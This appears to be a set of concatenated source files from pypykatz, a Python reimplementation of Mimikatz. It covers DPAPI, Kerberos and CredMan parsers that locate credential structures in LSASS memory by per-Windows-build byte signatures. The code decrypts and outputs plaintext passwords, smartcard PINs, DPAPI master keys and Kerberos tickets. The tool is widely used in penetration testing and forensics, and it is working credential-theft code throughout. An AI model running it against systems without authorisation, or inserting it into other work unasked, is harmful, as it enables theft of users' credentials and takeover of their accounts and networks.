491 | res = KIWI_CREDMAN_SET_LIST_ENTRY() | |
492 | res.Flink = await PKIWI_CREDMAN_SET_LIST_ENTRY.load(reader) | |
493 | res.Blink = await PKIWI_CREDMAN_SET_LIST_ENTRY.load(reader) | |
494 | res.unk0 = await ULONG.loadvalue(reader) | |
495 | await reader.align() | |
496 | res.list1 = await PKIWI_CREDMAN_LIST_STARTER.load(reader) | |
497 | res.list2 = await PKIWI_CREDMAN_LIST_STARTER.load(reader) | |
498 | return res | |
499 | ||
500 | ⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | import json | |
7 | import hashlib | |
8 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
9 | ||
10 | class DpapiCredential: | |
11 | def __init__(self): | |
12 | self.credtype = 'dpapi' | |
13 | self.luid = None | |
14 | self.key_guid = None | |
15 | self.masterkey = None | |
16 | self.sha1_masterkey = None | |
17 | ||
18 | def to_dict(self): | |
19 | t = {} | |
20 | t['credtype'] = self.credtype | |
21 | t['key_guid'] = self.key_guid | |
22 | t['masterkey'] = self.masterkey | |
23 | t['sha1_masterkey'] = self.sha1_masterkey | |
24 | t['luid'] = self.luid | |
25 | return t | |
26 | ||
27 | def to_json(self): | |
28 | return json.dumps(self.to_dict()) | |
29 | ||
30 | def __str__(self): | |
31 | t = '\t== DPAPI [%x]==\n' % self.luid | |
32 | t += '\t\tluid %s\n' % self.luid | |
33 | t += '\t\tkey_guid %s\n' % self.key_guid | |
34 | t += '\t\tmasterkey %s\n' % self.masterkey | |
35 | t += '\t\tsha1_masterkey %s\n' % self.sha1_masterkey | |
36 | return t | |
37 | ||
38 | class DpapiDecryptor(PackageDecryptor): | |
39 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
40 | super().__init__('Dpapi', lsa_decryptor, sysinfo, reader) | |
41 | self.decryptor_template = decryptor_template | |
42 | self.credentials = [] | |
43 | ||
44 | ||
45 | async def find_first_entry(self, modulename): | |
46 | position = await self.find_signature(modulename, self.decryptor_template.signature) | |
47 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
48 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
49 | return ptr_entry, ptr_entry_loc | |
50 | ||
51 | async def add_entry(self, dpapi_entry): | |
52 | ||
53 | if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: | |
54 | dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
55 | sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() | |
56 | ||
57 | c = DpapiCredential() | |
58 | c.luid = dpapi_entry.LogonId | |
59 | c.key_guid = dpapi_entry.KeyUid | |
60 | c.masterkey = dec_masterkey.hex() | |
61 | c.sha1_masterkey = sha_masterkey | |
62 | self.credentials.append(c) | |
63 | ||
64 | async def start(self): | |
65 | for modulename in ['lsasrv.dll','dpapisrv.dll']: | |
66 | try: | |
67 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry(modulename) | |
68 | except Exception as e: | |
69 | self.log('Failed to find structs! Reason: %s' % e) | |
70 | continue | |
71 | await self.reader.move(entry_ptr_loc) | |
72 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) | |
73 | await self.walk_list(entry_ptr, self.add_entry)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | ||
7 | from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, WindowsBuild | |
8 | from pypykatz.alsadecryptor.win_datatypes import LUID, GUID, POINTER, FILETIME, ULONG | |
9 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
10 | ||
11 | class DpapiTemplate(PackageTemplate): | |
12 | def __init__(self): | |
13 | super().__init__('Dpapi') | |
14 | self.signature = None | |
15 | self.first_entry_offset = None | |
16 | self.list_entry = None | |
17 | ||
18 | @staticmethod | |
19 | def get_template(sysinfo): | |
20 | template = DpapiTemplate() | |
21 | template.list_entry = PKIWI_MASTERKEY_CACHE_ENTRY | |
22 | template.log_template('list_entry', template.list_entry) | |
23 | ||
24 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
25 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
26 | template.signature = b'\x4d\x3b\xee\x49\x8b\xfd\x0f\x85' | |
27 | template.first_entry_offset = -4 | |
28 | ||
29 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
30 | template.signature = b'\x49\x3b\xef\x48\x8b\xfd\x0f\x84' | |
31 | template.first_entry_offset = -4 | |
32 | ||
33 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
34 | template.signature = b'\x33\xc0\xeb\x20\x48\x8d\x05' | |
35 | template.first_entry_offset = 7 | |
36 | ||
37 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
38 | template.signature = b'\x4c\x89\x1f\x48\x89\x47\x08\x49\x39\x43\x08\x0f\x85' | |
39 | template.first_entry_offset = -4 | |
40 | ||
41 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
42 | template.signature = b'\x08\x48\x39\x48\x08\x0f\x85' | |
43 | template.first_entry_offset = -10 | |
44 | ||
45 | elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: | |
46 | template.signature = b'\x48\x89\x4e\x08\x48\x39\x48\x08' | |
47 | template.first_entry_offset = -7 | |
48 | ||
49 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: | |
50 | template.signature = b'\x48\x89\x4f\x08\x48\x89\x78\x08' | |
51 | template.first_entry_offset = 11 | |
52 | ||
53 | else: | |
54 | #currently this doesnt make sense, but keeping it here for future use | |
55 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
56 | ||
57 | ||
58 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
59 | if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
60 | template.signature = b'\x33\xc0\x40\xa3' | |
61 | template.first_entry_offset = -4 | |
62 | ||
63 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
64 | template.signature = b'\x8b\xf0\x81\xfe\xcc\x06\x00\x00\x0f\x84' | |
65 | template.first_entry_offset = -16 | |
66 | ||
67 | elif sysinfo.buildnumber >= WindowsMinBuild.WIN_BLUE.value: | |
68 | template.signature = b'\x33\xc0\x40\xa3' | |
69 | template.first_entry_offset = -4 | |
70 | ||
71 | else: | |
72 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) | |
73 | ||
74 | ||
75 | return template | |
76 | ||
77 | ||
78 | class PKIWI_MASTERKEY_CACHE_ENTRY(POINTER): | |
79 | def __init__(self): | |
80 | super().__init__() | |
81 | ||
82 | @staticmethod | |
83 | async def load(reader): | |
84 | p = PKIWI_MASTERKEY_CACHE_ENTRY() | |
85 | p.location = reader.tell() | |
86 | p.value = await reader.read_uint() | |
87 | p.finaltype = KIWI_MASTERKEY_CACHE_ENTRY | |
88 | return p | |
89 | ||
90 | ||
91 | class KIWI_MASTERKEY_CACHE_ENTRY: | |
92 | def __init__(self): | |
93 | self.Flink = None | |
94 | self.Blink = None | |
95 | self.LogonId = None | |
96 | self.KeyUid = None | |
97 | self.insertTime = None | |
98 | self.keySize = None | |
99 | self.key = None | |
100 | ||
101 | @staticmethod | |
102 | async def load(reader): | |
103 | res = KIWI_MASTERKEY_CACHE_ENTRY() | |
104 | res.Flink = await PKIWI_MASTERKEY_CACHE_ENTRY.load(reader) | |
105 | res.Blink = await PKIWI_MASTERKEY_CACHE_ENTRY.load(reader) | |
106 | res.LogonId = await LUID.loadvalue(reader) | |
107 | res.KeyUid = await GUID.loadvalue(reader) | |
108 | res.insertTime = await FILETIME.load(reader) | |
109 | res.keySize = await ULONG.loadvalue(reader) | |
110 | res.key = await reader.read(res.keySize) | |
111 | return res |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | ||
7 | ||
8 | from pypykatz.alsadecryptor.kerberosticket import KerberosTicket, KerberosTicketType | |
9 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
10 | from pypykatz.alsadecryptor.win_datatypes import PLIST_ENTRY, PRTL_AVL_TABLE | |
11 | from pypykatz.commons.common import WindowsMinBuild | |
12 | ||
13 | class KerberosCredential: | |
14 | def __init__(self): | |
15 | self.credtype = 'kerberos' | |
16 | self.username = None | |
17 | self.password = None | |
18 | self.domainname = None | |
19 | self.luid = None | |
20 | self.tickets = [] | |
21 | self.pin = None | |
22 | self.cardinfo = None | |
23 | ||
24 | def __str__(self): | |
25 | t = '\t== Kerberos ==\n' | |
26 | t += '\t\tUsername: %s\n' % self.username | |
27 | t += '\t\tDomain: %s\n' % self.domainname | |
28 | if self.password is not None: | |
29 | t += '\t\tPassword: %s\n' % self.password | |
30 | if self.pin is not None: | |
31 | t += '\t\tPIN: %s\n' % self.pin | |
32 | if self.cardinfo is not None: | |
33 | t += '\t\tCARDINFO: \n' | |
34 | t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName'] | |
35 | t += '\t\t\tReaderName: %s\n' % self.cardinfo['ReaderName'] | |
36 | t += '\t\t\tContainerName: %s\n' % self.cardinfo['ContainerName'] | |
37 | t += '\t\t\tCSPName: %s\n' % self.cardinfo['CSPName'] | |
38 | ||
39 | # TODO: check if users actually need this. | |
40 | # I think it's not useful to print out the kerberos ticket data as string, as noone uses it directly. | |
41 | # It is better to use the -k flag an export the tickets | |
42 | #for ticket in self.tickets: | |
43 | # t += '\t\t%s' % str(ticket).replace('\n','\n\t\t\t')[:-3] | |
44 | ||
45 | return t | |
46 | ||
47 | def to_dict(self): | |
48 | t = {} | |
49 | t['credtype'] = self.credtype | |
50 | t['username'] = self.username | |
51 | t['password'] = self.password | |
52 | t['domainname'] = self.domainname | |
53 | t['luid'] = self.luid | |
54 | t['pin'] = self.pin | |
55 | t['cardinfo'] = self.cardinfo | |
56 | t['tickets'] = [] | |
57 | for ticket in self.tickets: | |
58 | t['tickets'] = ticket.to_dict() | |
59 | ||
60 | return t | |
61 | ||
62 | ||
63 | class KerberosDecryptor(PackageDecryptor): | |
64 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
65 | super().__init__('Kerberos', lsa_decryptor, sysinfo, reader) | |
66 | self.decryptor_template = decryptor_template | |
67 | self.credentials = [] | |
68 | ||
69 | self.current_ticket_type = None | |
70 | self.current_cred = None | |
71 | ||
72 | def find_first_entry(self): | |
73 | position = self.find_signature('kerberos.dll',self.decryptor_template.signature) | |
74 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
75 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) | |
76 | return ptr_entry, ptr_entry_loc | |
77 | ||
78 | def handle_ticket(self, kerberos_ticket): | |
79 | try: | |
80 | kt = KerberosTicket.parse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type) | |
81 | self.current_cred.tickets.append(kt) | |
82 | #print(str(kt)) | |
83 | except Exception as e: | |
84 | raise e | |
85 | ||
86 | def start(self): | |
87 | try: | |
88 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() | |
89 | except Exception as e: | |
90 | self.log('Failed to find structs! Reason: %s' % e) | |
91 | return | |
92 | ||
93 | if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
94 | self.reader.move(entry_ptr_loc) | |
95 | entry_ptr = PLIST_ENTRY(self.reader) | |
96 | self.walk_list(entry_ptr, self.process_session_elist) | |
97 | else: | |
98 | result_ptr_list = [] | |
99 | self.reader.move(entry_ptr_value) | |
100 | start_node = PRTL_AVL_TABLE(self.reader).read(self.reader) | |
101 | self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) | |
102 | ||
103 | for ptr in result_ptr_list: | |
104 | self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__) | |
105 | self.reader.move(ptr) | |
106 | kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader) | |
107 | self.process_session(kerberos_logon_session) | |
108 | ||
109 | def process_session_elist(self, elist): | |
110 | self.reader.move(elist.location) | |
111 | self.reader.read_uint() #Flink do not remove this line! | |
112 | self.reader.read_uint() #Blink do not remove this line! | |
113 | kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader) | |
114 | self.process_session(kerberos_logon_session) | |
115 | ||
116 | def process_session(self, kerberos_logon_session): | |
117 | self.current_cred = KerberosCredential() | |
118 | self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier | |
119 | ||
120 | self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader) | |
121 | self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader) | |
122 | if self.current_cred.username.endswith('$') is True: | |
123 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
124 | if self.current_cred.password is not None: | |
125 | self.current_cred.password = self.current_cred.password.hex() | |
126 | else: | |
127 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
128 | ||
129 | if kerberos_logon_session.SmartcardInfos.value != 0: | |
130 | csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) | |
131 | pin_enc = csp_info.PinCode.read_maxdata(self.reader) | |
132 | self.current_cred.pin = self.decrypt_password(pin_enc) | |
133 | if csp_info.CspDataLength != 0: | |
134 | self.current_cred.cardinfo = csp_info.CspData.get_infos() | |
135 | ||
136 | #### key list (still in session) this is not a linked list (thank god!) | |
137 | if kerberos_logon_session.pKeyList.value != 0: | |
138 | key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct) | |
139 | #print(key_list.cbItem) | |
140 | key_list.read(self.reader, self.decryptor_template.hash_password_struct) | |
141 | for key in key_list.KeyEntries: | |
142 | pass | |
143 | ### GOOD | |
144 | #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size) | |
145 | #print(keydata_enc) | |
146 | #keydata = self.decrypt_password(keydata_enc, bytes_expected=True) | |
147 | #print(keydata_enc.hex()) | |
148 | #input('KEY?') | |
149 | ||
150 | ||
151 | #print(key.generic.Checksump.value) | |
152 | ||
153 | #self.log_ptr(key.generic.Checksump.value, 'Checksump', datasize = key.generic.Size) | |
154 | #if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_10_1507.value and key.generic.Size > LSAISO_DATA_BLOB.size: | |
155 | # if key.generic.Size <= LSAISO_DATA_BLOB.size + (len("KerberosKey") - 1) + 32: #AES_256_KEY_LENGTH | |
156 | # input('1') | |
157 | # data_blob = key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) | |
158 | # data_blob.read(self.reader, key.generic.Size - LSAISO_DATA_BLOB.size) | |
159 | # | |
160 | # input('data blob end') | |
161 | # """ | |
162 | # kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data); | |
163 | # kprintf(L"\n\t Unk-Key : "); kull_m_string_wprintf_hex(blob->unkKeyData, sizeof(blob->unkKeyData), 0); | |
164 | # kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->origSize, 0); | |
165 | # kprintf(L"\n\t\t SS:%u, TS:%u, DS:%u", blob->structSize, blob->typeSize, blob->origSize); | |
166 | # kprintf(L"\n\t\t 0:0x%x, 1:0x%x, 2:0x%x, 3:0x%x, 4:0x%x, E:", blob->unk0, blob->unk1, blob->unk2, blob->unk3, blob->unk4); | |
167 | # kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); kprintf(L", 5:0x%x", blob->unk5); | |
168 | # """ | |
169 | # else: | |
170 | # input('2') | |
171 | # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) | |
172 | # print('unkData1 : %s' % data_struct.unkData1.hex()) | |
173 | # print('unkData2 : %s' % data_struct.unkData2.hex()) | |
174 | # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB | |
175 | # | |
176 | #else: | |
177 | # | |
178 | # if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_VISTA.value: | |
179 | # input('3') | |
180 | # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB) | |
181 | # print('unkData1 : %s' % data_struct.unkData1.hex()) | |
182 | # print('unkData2 : %s' % data_struct.unkData2.hex()) | |
183 | # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB | |
184 | # | |
185 | # else: | |
186 | # input('4') | |
187 | # #we need to decrypt as well! | |
188 | # self.reader.move(key.generic.Checksump.value) | |
189 | # enc_data = self.reader.read(key.generic.Size) | |
190 | # print(hexdump(enc_data)) | |
191 | # dec_data = self.lsa_decryptor.decrypt(enc_data) | |
192 | # print(hexdump(dec_data)) | |
193 | # t_reader = GenericReader(dec_data) | |
194 | # data_struct = LSAISO_DATA_BLOB(t_reader) | |
195 | # print('unkData1 : %s' % data_struct.unkData1.hex()) | |
196 | # print('unkData2 : %s' % data_struct.unkData2.hex()) | |
197 | # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB | |
198 | # | |
199 | #input() | |
200 | ||
201 | ||
202 | if kerberos_logon_session.Tickets_1.Flink.value != 0 and \ | |
203 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \ | |
204 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 : | |
205 | self.current_ticket_type = KerberosTicketType.TGS | |
206 | self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
207 | ||
208 | if kerberos_logon_session.Tickets_2.Flink.value != 0 and \ | |
209 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \ | |
210 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 : | |
211 | self.current_ticket_type = KerberosTicketType.CLIENT | |
212 | self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
213 | ||
214 | if kerberos_logon_session.Tickets_3.Flink.value != 0 and \ | |
215 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \ | |
216 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 : | |
217 | self.current_ticket_type = KerberosTicketType.TGT | |
218 | self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
219 | self.current_ticket_type = None | |
220 | self.credentials.append(self.current_cred) | |
221 | ||
222 | ⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild | |
7 | from pypykatz.alsadecryptor.win_datatypes import POINTER, PVOID, ULONG, LIST_ENTRY, \ | |
8 | DWORD, LSA_UNICODE_STRING, PKERB_EXTERNAL_NAME, KIWI_GENERIC_PRIMARY_CREDENTIAL, \ | |
9 | LUID, PLSAISO_DATA_BLOB, ULONG64, FILETIME, PCWSTR, SIZE_T, BOOL | |
10 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
11 | ||
12 | class KerberosTemplate(PackageTemplate): | |
13 | def __init__(self, sysinfo): | |
14 | super().__init__('Kerberos', sysinfo) | |
15 | self.signature = None | |
16 | self.first_entry_offset = None | |
17 | self.kerberos_session_struct = None | |
18 | self.kerberos_ticket_struct = None | |
19 | self.keys_list_struct = None | |
20 | self.hash_password_struct = None | |
21 | self.csp_info_struct = None | |
22 | ||
23 | @staticmethod | |
24 | def get_template(sysinfo): | |
25 | #input('%s %s' % (sysinfo.architecture,sysinfo.buildnumber)) | |
26 | template = KerberosTemplate(sysinfo) | |
27 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
28 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: | |
29 | template.signature = b'\x48\x3b\xfe\x0f\x84' | |
30 | template.first_entry_offset = -4 | |
31 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51 | |
32 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51 | |
33 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 | |
34 | template.hash_password_struct = KERB_HASHPASSWORD_5 | |
35 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 | |
36 | ||
37 | ||
38 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
39 | template.signature = b'\x48\x3b\xfe\x0f\x84' | |
40 | template.first_entry_offset = -4 | |
41 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
42 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52 | |
43 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 | |
44 | template.hash_password_struct = KERB_HASHPASSWORD_5 | |
45 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 | |
46 | ||
47 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
48 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' | |
49 | template.first_entry_offset = 6 | |
50 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
51 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60 | |
52 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
53 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
54 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 | |
55 | ||
56 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
57 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' | |
58 | template.first_entry_offset = 6 | |
59 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
60 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 | |
61 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
62 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
63 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 | |
64 | ||
65 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
66 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' | |
67 | template.first_entry_offset = 6 | |
68 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
69 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 | |
70 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
71 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
72 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 | |
73 | ||
74 | elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: | |
75 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' | |
76 | template.first_entry_offset = 6 | |
77 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10 | |
78 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 | |
79 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
80 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
81 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
82 | ||
83 | elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: | |
84 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' | |
85 | template.first_entry_offset = 6 | |
86 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10 | |
87 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10 | |
88 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
89 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
90 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
91 | ||
92 | ||
93 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: | |
94 | template.signature = b'\x48\x8b\x18\x48\x8d\x0d' | |
95 | template.first_entry_offset = 6 | |
96 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607 | |
97 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 | |
98 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
99 | template.hash_password_struct = KERB_HASHPASSWORD_6_1607 | |
100 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10 | |
101 | ||
102 | else: | |
103 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
104 | ||
105 | ||
106 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
107 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: | |
108 | template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50' | |
109 | template.first_entry_offset = -8 | |
110 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51 | |
111 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51 | |
112 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 | |
113 | template.hash_password_struct = KERB_HASHPASSWORD_5 | |
114 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 | |
115 | ||
116 | ||
117 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
118 | template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50' | |
119 | template.first_entry_offset = -8 | |
120 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
121 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52 | |
122 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5 | |
123 | template.hash_password_struct = KERB_HASHPASSWORD_5 | |
124 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_5 | |
125 | ||
126 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
127 | template.signature = b'\x53\x8b\x18\x50\x56' | |
128 | template.first_entry_offset = -11 | |
129 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
130 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60 | |
131 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
132 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
133 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 | |
134 | ||
135 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
136 | template.signature = b'\x53\x8b\x18\x50\x56' | |
137 | template.first_entry_offset = -11 | |
138 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
139 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 | |
140 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
141 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
142 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_60 | |
143 | ||
144 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_BLUE.value: | |
145 | template.signature = b'\x57\x8b\x38\x50\x68' | |
146 | template.first_entry_offset = -14 | |
147 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
148 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 | |
149 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
150 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
151 | template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_62 | |
152 | ||
153 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
154 | template.signature = b'\x56\x8b\x30\x50\x57' | |
155 | template.first_entry_offset = -15 | |
156 | template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION | |
157 | template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6 | |
158 | template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6 | |
159 | template.hash_password_struct = KERB_HASHPASSWORD_6 | |
